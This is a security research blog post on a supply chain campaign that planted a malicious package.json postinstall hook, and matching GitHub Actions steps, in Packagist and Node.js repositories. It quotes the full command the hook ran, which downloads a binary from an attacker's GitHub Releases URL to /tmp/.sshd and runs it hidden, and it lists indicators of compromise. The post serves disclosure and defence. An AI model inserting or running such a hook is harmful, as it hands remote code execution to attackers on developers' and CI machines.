🎩 You're Invited:Meet the Socket team at Black Hat in Las Vegas, August 3-6.RSVP
Sign In
Blog
Security News

Malicious Postinstall Hook Found Across 700+ GitHub Repositories, Including Packagist and Node.js Projects

Socket found a malicious postinstall hook across 700+ GitHub repos, including PHP packages on Packagist and Node.js project repositories.

Socket Research Team

May 22, 2026

6 min read

Malicious Postinstall Hook Found Across 700+ GitHub Repositories, Including Packagist and Node.js Projects
Sidebar CTA Background

Secure your dependencies with us

Socket proactively blocks malicious open source packages in your code.
Install

Socket researchers identified a coordinated supply chain campaign affecting eight packages on Packagist whose upstream repositories were modified to include the same malicious postinstall script. The script attempted to download a Linux binary from a GitHub Releases URL, save it to /tmp/.sshd, make it executable, and run it in the background.

Although the affected packages were all Composer packages, the malicious code was not added to composer.json. Instead, it was inserted into package.json, targeting projects that ship JavaScript build tooling alongside PHP code. That cross-ecosystem placement is notable because developers and security teams reviewing PHP dependencies may focus on Composer metadata while overlooking package.json lifecycle hooks bundled inside the package.

Socket’s AI scanner detected the campaign across eight branch-tracking package versions:

Package Affected Version
moritz-sauer-13/silverstripe-cms-theme dev-master
crosiersource/crosierlib-base dev-master
devdojo/wave dev-main
devdojo/genesis dev-main
katanaui/katana dev-main
elitedevsquad/sidecar-laravel 3.x-dev
r2luna/brain dev-main
baskarcm/tzi-chat-ui dev-main

Socket’s AI scanner flagged all eight affected package artifacts after identifying the same suspicious install-time behavior across the set. We identified multiple packages with a postinstall hook that downloads an external binary and immediately executes it, often placing the file at /tmp/.sshd, with weakened TLS verification and background execution.

Broader GitHub Search Shows Hundreds of References#

During the course of this investigation, Socket found that the campaign was not limited to the initial Packagist packages flagged by the AI scanner. A GitHub code search for the attacker-controlled account parikhpreyash4 returned hundreds of public code results approximately 17 hours after the first detection, including many Node.js repositories.

Socket has not yet confirmed how many of those results represent distinct compromises, forks, duplicate package artifacts, or cached references. However, the volume of results tied to the same attacker infrastructure suggests a broader campaign involving the same package.json postinstall payload.

The confirmed Packagist findings remain the clearest evidence available so far: eight PHP packages contained the same install-time command that downloaded gvfsd-network from the attacker-controlled GitHub Releases URL, wrote it to /tmp/.sshd, made it executable, and launched it in the background. Follow-up GitHub searches indicate the same infrastructure may have been reused across a much wider set of JavaScript projects.

Identical Payload Delivery#

The malicious postinstall script was identical across the confirmed package artifacts:

curl-skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network-o /tmp/.sshd2>/dev/null &&chmod+x /tmp/.sshd && /tmp/.sshd &

The command has several high-risk characteristics:

  • It uses curl -k, disabling TLS certificate verification.
  • It downloads a binary named gvfsd-network from GitHub Releases.
  • It writes the binary to /tmp/.sshd, a hidden filename that resembles an SSH daemon.
  • It suppresses error output with 2>/dev/null.
  • It makes the file executable with chmod +x.
  • It runs the binary in the background using &.

Socket researchers were unable to retrieve the second-stage binary during follow-up because the GitHub-hosted payload was no longer available. However, the first-stage behavior is sufficient to classify the packages as malicious. The script downloads and executes an unauthenticated remote binary during installation with no integrity check, while suppressing errors and hiding the executable under a system-like filename.

Malicious Commits in Upstream GitHub Repositories#

  1. moritz-sauer-13/silverstripe-cms-theme
    • Malicious commit: 7825479
    • Cleanup status: The hook was still present on master when checked.
  2. crosiersource/crosierlib-base
    • Malicious commit: 551c319
    • Cleanup status: The hook was still present on master when checked.
  3. thedevdojo/wave
  4. thedevdojo/genesis
  5. katanaui/katana
  6. elitedevsquad/sidecar-laravel
    • Malicious commit: ed6fd36
    • Cleanup status: Reverted by b1f5c53, titled security: revert malicious postinstall payload.
  7. r2luna/brain
    • Malicious commit: 85eca91
    • Cleanup status: Reverted by 421a1d5, titled security: revert malicious postinstall payload.
  8. baskarcm/tzi-chat-ui
    • Malicious commit: 58fa0b2
    • Cleanup status: The hook was still present on main when checked.

Beyond Postinstall Hooks#

Follow-up review found that the same payload command was not limited to package.json. In several GitHub repositories, the command appeared inside GitHub Actions workflow files, suggesting the campaign also targeted CI/CD execution paths.

In 448776129/UA2F, a public fork of Zxilly/UA2F, the payload was added to .github/workflows/ci.yml as a workflow step named Dependency Cache Sync. The step runs the same GitHub-hosted binary download command used in the Packagist package artifacts.

A similar pattern appeared in 448776129/blog-1, a public fork of JS-banana/blog, where .github/workflows/deploy_coding.yml includes the same Dependency Cache Sync step after normal Node.js setup, dependency installation, and deployment commands.

This suggests the attacker was not relying on a single execution mechanism. In package artifacts, the payload was triggered through package.json postinstall scripts. In workflow files, it was positioned to run during GitHub Actions jobs. Both paths reused the same GitHub Releases payload URL, the same /tmp/.sshd drop path, and the same background execution pattern.

GitHub Repository Compromise Led to Infected Packagist Packages#

The confirmed Packagist findings appear to stem from malicious commits made directly to upstream GitHub repositories. In each case, the attacker added the same package.json postinstall script to a repository that was tracked by Packagist. Once Packagist updated its branch-tracking package versions, those malicious repository states became infected package artifacts.

The campaign was not necessarily aimed at Packagist itself. The attacker targeted source repositories, and Packagist reflected those changes through dev-main, dev-master, and 3.x-dev package versions. Several maintainers later reverted the malicious commits, which caused the current branch-tracking package views to move back to clean artifacts.

The malicious code was placed in package.json, not composer.json, targeting repositories that included JavaScript build tooling alongside PHP code. In PHP projects, that placement can be easy to miss if defenders focus only on Composer metadata while overlooking JavaScript lifecycle scripts bundled in the same repository.

Socket reported the affected packages to Packagist, which immediately removed them.

Branch-Tracking Versions Complicate Response#

Most affected versions were development branches, including dev-main, dev-master, and 3.x-dev. These are branch-tracking versions rather than immutable releases.

This also affected remediation. Packagist temporarily deleted the affected package entries, but noted that branch-tracking packages could be restored on the next package update unless the upstream repository was fixed.

For defenders, this means the affected version label alone is not enough. The relevant artifact should be tied to the observed commit or archive state when available.

Potential for Execution#

Two of the affected packages account for most of the practical risk. devdojo/wave is an open source Laravel SaaS starter kit with roughly 6,400 GitHub stars. devdojo/genesis, from the same publisher, has about 1,300 stars and 9,100 Packagist installs. Its Packagist metadata describes it as a Laravel starter kit built with Tailwind CSS, Alpine.js, Laravel, Livewire, Folio, and Volt.

Starter kits are the worst case for this attack pattern. The repository becomes the developer's project, so the malicious package.json lands at the project root, where npm install runs its postinstall script directly. For the other affected packages, which are libraries pulled into vendor/, the postinstall hook does not fire from a top-level npm install, since npm only runs scripts for packages declared in the root project's dependencies.

The remaining six affected Packagist packages appear to have much smaller adoption and more niche or personal use cases. That does not make the compromise benign, but it does concentrate the most likely real-world exposure in the starter kit projects.

Recommendations#

Teams using Packagist packages that include JavaScript build tooling should inspect bundled package.json files, not only composer.json. This is especially important for branch-tracking Composer dependencies, where the package contents can change as the upstream branch moves.

Socket flagged the affected package artifacts as malicious based on their install-time behavior. The detected pattern matched a coordinated supply chain campaign: unrelated packages contained the same lifecycle hook, the same GitHub Releases payload URL, the same hidden local filename, and the same background execution chain.

Even without the second-stage binary, the malicious installer is enough to warrant blocking. It provides remote code execution during installation or build workflows and attempts to hide its activity by disabling TLS verification, suppressing errors, and running a downloaded binary in the background.

Indicators of Compromise#

GitHub account:

  • parikhpreyash4

GitHub repository:

  • parikhpreyash4/systemd-network-helper-aa5c751f

Payload URL:

  • https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network

Payload File Path:

  • /tmp/.sshd
  • Suspicious command fragments:
    • curl -skL
    • chmod +x /tmp/.sshd
    • /tmp/.sshd &
Sidebar CTA Background

Secure your dependencies with us

Socket proactively blocks malicious open source packages in your code.
Install

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Related posts

Back to all posts